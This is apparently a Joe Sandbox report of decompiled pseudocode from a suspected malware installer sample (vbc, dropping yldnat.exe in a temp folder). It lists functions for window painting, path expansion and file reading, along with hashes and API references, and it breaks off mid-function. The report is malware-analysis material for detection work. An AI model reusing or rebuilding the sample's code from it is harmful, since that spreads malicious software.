Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$(Vz$(^z$(^z$[Rename]
API String ID: 2171350718-2000197835
Opcode ID: 88b5ac268f0a1f1c2fdae64f0923303a12147287a2ba527380340a6ee5c0cda9
Instruction ID: 6cadb61bc7003589c9facc341004653e1fa6c0793f9c109ef5d6a16b2289e69d
Opcode Fuzzy Hash: 88b5ac268f0a1f1c2fdae64f0923303a12147287a2ba527380340a6ee5c0cda9
Instruction Fuzzy Hash: 2D313571600705BBD2206B669D48F1B3A9CEF85714F16003EFD42FA2C2DA7DD82586BD

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x7a8ab0;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectW( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextW(_t128, 0x7a7aa0, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x7a8aa8;
				}
				return DefWindowProcW(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,007A7AA0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 6e3369a96ed7e46a89c954ac000689aa30afdbe1f06b793fb73954c758a37c86
Instruction ID: 97a6e5849d711934decb320d9e1447055a7c39d586dd296ee09aa65e352ff849
Opcode Fuzzy Hash: 6e3369a96ed7e46a89c954ac000689aa30afdbe1f06b793fb73954c758a37c86
Instruction Fuzzy Hash: 83418C71800209AFCF058F95CE459AF7BB9FF45315F00802AF991AA1A0CB389A55DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 004066AB Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 196
stringCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E004066AB(void* __ebx, void* __edi, void* __esi, signed int _a4, short _a8) {
				struct _ITEMIDLIST* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t44;
				WCHAR* _t45;
				signed char _t47;
				signed int _t48;
				short _t59;
				short _t61;
				short _t63;
				void* _t71;
				signed int _t77;
				signed int _t78;
				short _t81;
				short _t82;
				signed char _t84;
				signed int _t85;
				void* _t98;
				void* _t104;
				intOrPtr* _t105;
				void* _t107;
				WCHAR* _t108;
				void* _t110;

				_t107 = __esi;
				_t104 = __edi;
				_t71 = __ebx;
				_t44 = _a8;
				if(_t44 < 0) {
					_t44 =  *( *0x7a7a7c - 4 + _t44 * 4);
				}
				_push(_t71);
				_push(_t107);
				_push(_t104);
				_t105 =  *0x7a8ad8 + _t44 * 2;
				_t45 = 0x7a6a40;
				_t108 = 0x7a6a40;
				if(_a4 >= 0x7a6a40 && _a4 - 0x7a6a40 >> 1 < 0x800) {
					_t108 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				_t81 =  *_t105;
				_a8 = _t81;
				if(_t81 == 0) {
					L43:
					 *_t108 =  *_t108 & 0x00000000;
					if(_a4 == 0) {
						return _t45;
					}
					return E0040666E(_a4, _t45);
				} else {
					while((_t108 - _t45 & 0xfffffffe) < 0x800) {
						_t98 = 2;
						_t105 = _t105 + _t98;
						if(_t81 >= 4) {
							if(__eflags != 0) {
								 *_t108 = _t81;
								_t108 = _t108 + _t98;
								__eflags = _t108;
							} else {
								 *_t108 =  *_t105;
								_t108 = _t108 + _t98;
								_t105 = _t105 + _t98;
							}
							L42:
							_t82 =  *_t105;
							_a8 = _t82;
							if(_t82 != 0) {
								_t81 = _a8;
								continue;
							}
							goto L43;
						}
						_t84 =  *((intOrPtr*)(_t105 + 1));
						_t47 =  *_t105;
						_t48 = _t47 & 0x000000ff;
						_v12 = (_t84 & 0x0000007f) << 0x00000007 | _t47 & 0x0000007f;
						_t85 = _t84 & 0x000000ff;
						_v28 = _t48 | 0x00008000;
						_t77 = 2;
						_v16 = _t85;
						_t105 = _t105 + _t77;
						_v24 = _t48;
						_v20 = _t85 | 0x00008000;
						if(_a8 != _t77) {
							__eflags = _a8 - 3;
							if(_a8 != 3) {
								__eflags = _a8 - 1;
								if(__eflags == 0) {
									__eflags = (_t48 | 0xffffffff) - _v12;
									E004066AB(_t77, _t105, _t108, _t108, (_t48 | 0xffffffff) - _v12);
								}
								L38:
								_t108 =  &(_t108[lstrlenW(_t108)]);
								_t45 = 0x7a6a40;
								goto L42;
							}
							_t78 = _v12;
							__eflags = _t78 - 0x1d;
							if(_t78 != 0x1d) {
								__eflags = (_t78 << 0xb) + 0x7a9000;
								E0040666E(_t108, (_t78 << 0xb) + 0x7a9000);
							} else {
								E004065B5(_t108,  *0x7a8aa8);
							}
							__eflags = _t78 + 0xffffffeb - 7;
							if(__eflags < 0) {
								L29:
								E004068F5(_t108);
							}
							goto L38;
						}
						if( *0x7a8b24 != 0) {
							_t77 = 4;
						}
						_t121 = _t48;
						if(_t48 >= 0) {
							__eflags = _t48 - 0x25;
							if(_t48 != 0x25) {
								__eflags = _t48 - 0x24;
								if(_t48 == 0x24) {
									GetWindowsDirectoryW(_t108, 0x400);
									_t77 = 0;
								}
								while(1) {
									__eflags = _t77;
									if(_t77 == 0) {
										goto L26;
									}
									_t59 =  *0x7a8aa4;
									_t77 = _t77 - 1;
									__eflags = _t59;
									if(_t59 == 0) {
										L22:
										_t61 = SHGetSpecialFolderLocation( *0x7a8aa8,  *(_t110 + _t77 * 4 - 0x18),  &_v8);
										__eflags = _t61;
										if(_t61 != 0) {
											L24:
											 *_t108 =  *_t108 & 0x00000000;
											__eflags =  *_t108;
											continue;
										}
										__imp__SHGetPathFromIDListW(_v8, _t108);
										_a8 = _t61;
										__imp__CoTaskMemFree(_v8);
										__eflags = _a8;
										if(_a8 != 0) {
											goto L26;
										}
										goto L24;
									}
									_t63 =  *_t59( *0x7a8aa8,  *(_t110 + _t77 * 4 - 0x18), 0, 0, _t108);
									__eflags = _t63;
									if(_t63 == 0) {
										goto L26;
									}
									goto L22;
								}
								goto L26;
							}
							GetSystemDirectoryW(_t108, 0x400);
							goto L26;
						} else {
							E0040653C( *0x7a8ad8, _t121, 0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x7a8ad8 + (_t48 & 0x0000003f) * 2, _t108, _t48 & 0x00000040);
							if( *_t108 != 0) {
								L27:
								if(_v16 == 0x1a) {
									lstrcatW(_t108, L"\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L29;
							}
							E004066AB(_t77, _t105, _t108, _t108, _v16);
							L26:
							if( *_t108 == 0) {
								goto L29;
							}
							goto L27;
						}
					}
					goto L43;
				}
			}

0x004066ab
0x004066ab
0x004066ab
0x004066b1
0x004066b6
0x004066c7
0x004066c7
0x004066cf
0x004066d0
0x004066d1
0x004066d2
0x004066d5
0x004066dd
0x004066df
0x004066f0
0x004066f3
0x004066f3
0x004066f7
0x004066fd
0x00406700
0x004068db
0x004068db
0x004068e6
0x004068f2
0x004068f2
0x00000000
0x00406706
0x0040670b
0x00406720
0x00406721
0x00406727
0x004068b9
0x004068c7
0x004068ca
0x004068ca
0x004068bb
0x004068be
0x004068c1
0x004068c3
0x004068c3
0x004068cc
0x004068cc
0x004068d2
0x004068d5
0x00406708
0x00000000
0x00406708
0x00000000
0x004068d5
0x0040672d
0x00406730
0x0040673f
0x00406746
0x00406752
0x00406755
0x00406758
0x00406759
0x0040675e
0x00406764
0x00406767
0x0040676a
0x0040685d
0x00406862
0x00406895
0x0040689a
0x0040689f
0x004068a4
0x004068a4
0x004068a9
0x004068af
0x004068b2
0x00000000
0x004068b2
0x00406864
0x00406867
0x0040686a
0x0040687f
0x00406886
0x0040686c
0x00406873
0x00406873
0x0040688e
0x00406891
0x00406855
0x00406856
0x00406856
0x00000000
0x00406891
0x00406777
0x0040677b
0x0040677b
0x0040677c
0x0040677e
0x004067bb
0x004067be
0x004067ce
0x004067d1
0x004067d9
0x004067df
0x004067df
0x0040683a
0x0040683a
0x0040683c
0x00000000
0x00000000
0x004067e3
0x004067e8
0x004067e9
0x004067eb
0x00406802
0x00406810
0x00406816
0x00406818
0x00406836
0x00406836
0x00406836
0x00000000
0x00406836
0x0040681e
0x00406827
0x0040682a
0x00406830
0x00406834
0x00000000
0x00000000
0x00000000
0x00406834
0x004067fc
0x004067fe
0x00406800
0x00000000
0x00000000
0x00000000
0x00406800
0x00000000
0x0040683a
0x004067c6
0x00000000
0x00406780
0x0040679e
0x004067a7
0x00406844
0x00406848
0x00406850
0x00406850
0x00000000
0x00406848
0x004067b1
0x0040683e
0x00406842
0x00000000
0x00000000
0x00000000
0x00406842
0x0040677e
0x00000000
0x0040670b

APIs

GetSystemDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna,00000400), ref: 004067C6
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna,00000400,00000000,007A0F68,?,00405707,007A0F68,00000000,00000000,00000000,00000000), ref: 004067D9
lstrcatW.KERNEL32 ref: 00406850
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna,00000000,007A0F68,?,00405707,007A0F68,00000000), ref: 004068AA

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406794
\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040684A
C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna, xrefs: 004066D5, 00406788, 0040678F, 00406793, 004067B0, 004067C5, 004067D8, 004067ED, 0040681A, 0040684F, 00406855, 00406872, 00406885, 004068A3, 004068A9, 004068B2, 004068E8

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Directory$SystemWindowslstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4260037668-2039163676
Opcode ID: e97bab54976981856f27dbe6ed1afce439577a8d563873806ee3eb84eabe0ca4
Instruction ID: c9eaf07520507b798c7259a568fd9567d3c8f5a418c476a208567326fda18bee
Opcode Fuzzy Hash: e97bab54976981856f27dbe6ed1afce439577a8d563873806ee3eb84eabe0ca4
Instruction Fuzzy Hash: F061FF72902115AADF10AF68CC40BAE37A5AF55314F22C03FE947B62D0DB3D49A5CB89

Uniqueness

Uniqueness Score: -1.00%

Function 00404631 Relevance: 12.1, APIs: 8, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404631(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t39;
				long _t41;
				void* _t44;
				signed char _t50;
				long* _t54;

				if(_a4 + 0xfffffecd > 5) {
					L18:
					return 0;
				}
				_t54 = GetWindowLongW(_a12, 0xffffffeb);
				if(_t54 == 0 || _t54[2] > 1 || _t54[4] > 2) {
					goto L18;
				} else {
					_t50 = _t54[5];
					if((_t50 & 0xffffffe0) != 0) {
						goto L18;
					}
					_t39 =  *_t54;
					if((_t50 & 0x00000002) != 0) {
						_t39 = GetSysColor(_t39);
					}
					if((_t54[5] & 0x00000001) != 0) {
						SetTextColor(_a8, _t39);
					}
					SetBkMode(_a8, _t54[4]);
					_t41 = _t54[1];
					_v16.lbColor = _t41;
					if((_t54[5] & 0x00000008) != 0) {
						_t41 = GetSysColor(_t41);
						_v16.lbColor = _t41;
					}
					if((_t54[5] & 0x00000004) != 0) {
						SetBkColor(_a8, _t41);
					}
					if((_t54[5] & 0x00000010) != 0) {
						_v16.lbStyle = _t54[2];
						_t44 = _t54[3];
						if(_t44 != 0) {
							DeleteObject(_t44);
						}
						_t54[3] = CreateBrushIndirect( &_v16);
					}
					return _t54[3];
				}
			}

0x00404643
0x004046f9
0x00000000
0x004046f9
0x00404654
0x00404658
0x00000000
0x00404672
0x00404672
0x0040467b
0x00000000
0x00000000
0x0040467d
0x00404689
0x0040468c
0x0040468c
0x00404692
0x00404698
0x00404698
0x004046a4
0x004046aa
0x004046b1
0x004046b4
0x004046b7
0x004046b9
0x004046b9
0x004046c1
0x004046c7
0x004046c7
0x004046d1
0x004046d6
0x004046d9
0x004046de
0x004046e1
0x004046e1
0x004046f1
0x004046f1
0x00000000
0x004046f4

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040464E
GetSysColor.USER32 ref: 0040468C
SetTextColor.GDI32(?,00000000), ref: 00404698
SetBkMode.GDI32(?,?), ref: 004046A4
GetSysColor.USER32 ref: 004046B7
SetBkColor.GDI32(?,?), ref: 004046C7
DeleteObject.GDI32(?), ref: 004046E1
CreateBrushIndirect.GDI32(?), ref: 004046EB

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction ID: 80d2dfdfbb5be5877469216c844a522b7394a6fa1e0a99176855ee87e7478973
Opcode Fuzzy Hash: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
Instruction Fuzzy Hash: EC2179B15007049BC730DF68D908B5BBBF8AF41714F048E2EE9D6A26E1E739D944DB68

Uniqueness

Uniqueness Score: -1.00%

Function 004026EC Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004026EC(intOrPtr __ebx, intOrPtr __edx, void* __edi) {
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t72;
				void* _t76;
				void* _t79;

				_t72 = __edx;
				 *((intOrPtr*)(_t76 - 8)) = __ebx;
				_t65 = 2;
				 *((intOrPtr*)(_t76 - 0x4c)) = _t65;
				_t66 = E00402D84(_t65);
				_t79 = _t66 - 1;
				 *((intOrPtr*)(_t76 - 0x10)) = _t72;
				 *((intOrPtr*)(_t76 - 0x44)) = _t66;
				if(_t79 < 0) {
					L36:
					 *0x7a8b28 =  *0x7a8b28 +  *(_t76 - 4);
				} else {
					__ecx = 0x3ff;
					if(__eax > 0x3ff) {
						 *(__ebp - 0x44) = 0x3ff;
					}
					if( *__edi == __bx) {
						L34:
						__ecx =  *(__ebp - 0xc);
						__eax =  *(__ebp - 8);
						 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __bx;
						if(_t79 == 0) {
							 *(_t76 - 4) = 1;
						}
						goto L36;
					} else {
						 *(__ebp - 0x38) = __ebx;
						 *(__ebp - 0x18) = E004065CE(__ecx, __edi);
						if( *(__ebp - 0x44) > __ebx) {
							do {
								if( *((intOrPtr*)(__ebp - 0x34)) != 0x39) {
									if( *((intOrPtr*)(__ebp - 0x24)) != __ebx ||  *(__ebp - 8) != __ebx || E0040623F( *(__ebp - 0x18), __ebx) >= 0) {
										__eax = __ebp - 0x50;
										if(E004061E1( *(__ebp - 0x18), __ebp - 0x50, 2) == 0) {
											goto L34;
										} else {
											goto L21;
										}
									} else {
										goto L34;
									}
								} else {
									__eax = __ebp - 0x40;
									_push(__ebx);
									_push(__ebp - 0x40);
									__eax = 2;
									__ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)) = __ebp + 0xa;
									__eax = ReadFile( *(__ebp - 0x18), __ebp + 0xa, __ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)), ??, ??);
									if(__eax == 0) {
										goto L34;
									} else {
										__ecx =  *(__ebp - 0x40);
										if(__ecx == __ebx) {
											goto L34;
										} else {
											__ax =  *(__ebp + 0xa) & 0x000000ff;
											 *(__ebp - 0x4c) = __ecx;
											 *(__ebp - 0x50) = __eax;
											if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
												L28:
												__ax & 0x0000ffff = E004065B5( *(__ebp - 0xc), __ax & 0x0000ffff);
											} else {
												__ebp - 0x50 = __ebp + 0xa;
												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x50, 1) != 0) {
													L21:
													__eax =  *(__ebp - 0x50);
												} else {
													__edi =  *(__ebp - 0x4c);
													__edi =  ~( *(__ebp - 0x4c));
													while(1) {
														_t22 = __ebp - 0x40;
														 *_t22 =  *(__ebp - 0x40) - 1;
														__eax = 0xfffd;
														 *(__ebp - 0x50) = 0xfffd;
														if( *_t22 == 0) {
															goto L22;
														}
														 *(__ebp - 0x4c) =  *(__ebp - 0x4c) - 1;
														__edi = __edi + 1;
														SetFilePointer( *(__ebp - 0x18), __edi, __ebx, 1) = __ebp - 0x50;
														__eax = __ebp + 0xa;
														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x40), __ebp - 0x50, 1) == 0) {
															continue;
														} else {
															goto L21;
														}
														goto L22;
													}
												}
												L22:
												if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
													goto L28;
												} else {
													if( *(__ebp - 0x38) == 0xd ||  *(__ebp - 0x38) == 0xa) {
														if( *(__ebp - 0x38) == __ax || __ax != 0xd && __ax != 0xa) {
															 *(__ebp - 0x4c) =  ~( *(__ebp - 0x4c));
															__eax = SetFilePointer( *(__ebp - 0x18),  ~( *(__ebp - 0x4c)), __ebx, 1);
														} else {
															__ecx =  *(__ebp - 0xc);
															__edx =  *(__ebp - 8);
															 *(__ebp - 8) =  *(__ebp - 8) + 1;
															 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														}
														goto L34;
													} else {
														__ecx =  *(__ebp - 0xc);
														__edx =  *(__ebp - 8);
														 *(__ebp - 8) =  *(__ebp - 8) + 1;
														 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														 *(__ebp - 0x38) = __eax;
														if(__ax == __bx) {
															goto L34;
														} else {
															goto L26;
														}
													}
												}
											}
										}
									}
								}
								goto L37;
								L26:
								__eax =  *(__ebp - 8);
							} while ( *(__ebp - 8) <  *(__ebp - 0x44));
						}
						goto L34;
					}
				}
				L37:
				return 0;
			}

0x004026ec
0x004026ee
0x004026f1
0x004026f3
0x004026f6
0x004026fb
0x004026ff
0x00402702
0x00402705
0x00402c2a
0x00402c2d
0x0040270b
0x0040270b
0x00402712
0x00402714
0x00402714
0x0040271a
0x0040287e
0x0040287e
0x00402881
0x00402886
0x004015b6
0x0040292e
0x0040292e
0x00000000
0x00402720
0x00402721
0x0040272c
0x0040272f
0x0040273b
0x0040273f
0x004027d7
0x004027ef
0x004027ff
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402745
0x00402745
0x00402748
0x00402749
0x0040274c
0x00402751
0x00402758
0x00402760
0x00000000
0x00402766
0x00402766
0x0040276b
0x00000000
0x00402771
0x00402771
0x00402779
0x0040277c
0x0040277f
0x0040283a
0x00402841
0x00402785
0x0040278b
0x00402797
0x00402801
0x00402801
0x00402799
0x00402799
0x0040279c
0x0040279e
0x0040279e
0x0040279e
0x004027a1
0x004027a6
0x004027a9
0x00000000
0x00000000
0x004027ab
0x004027ae
0x004027bc
0x004027c2
0x004027d0
0x00000000
0x004027d2
0x00000000
0x004027d2
0x00000000
0x004027d0
0x0040279e
0x00402804
0x00402807
0x00000000
0x00402809
0x0040280e
0x0040284f
0x00402871
0x00402878
0x0040285d
0x0040285d
0x00402860
0x00402863
0x00402866
0x00402866
0x00000000
0x00402817
0x00402817
0x0040281a
0x0040281d
0x00402823
0x00402827
0x0040282a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040282a
0x0040280e
0x00402807
0x0040277f
0x0040276b
0x00402760
0x00000000
0x0040282c
0x0040282c
0x0040282f
0x00402838
0x00000000
0x0040272f
0x0040271a
0x00402c33
0x00402c39

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 00402758
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402793
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027B6
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027CC

Part of subcall function 0040623F: SetFilePointer.KERNEL32(?,00000000,00000000,00000001,00000000,?,?,?,004026D1,00000000,00000000,?,00000000,00000011), ref: 00406255

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402878

Strings

9, xrefs: 0040273B

Memory Dump Source

Source File: 00000004.00000002.994761349.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.994735645.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994773176.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.994863087.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995261531.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995299454.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995327222.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995350711.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995357768.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.995364915.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: ea37fd964e3ddf3b7a618de9004236b276f671010f51a76b8aa07d43f39fc3cd
Instruction ID: 3e360b617c3737f2e779930334e882a7207aef4f73e2c1e076e29b282e1bb3de
Opcode Fuzzy Hash: ea37fd964e3ddf3b7a618de9004236b276f671010f51a76b8aa07d43f39fc3cd
Instruction Fuzzy Hash: 60510B75D00219ABDF20EF95CA89AAEBB79FF04304F10817BE541B62D4D7B49D82CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004056D0 Relevance: 10.6, APIs: 7, Instructions: 72
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004056D0(signed int _a4, WCHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				WCHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				WCHAR* _t27;
				signed int _t28;
				long _t29;
				signed int _t37;
				signed int _t38;

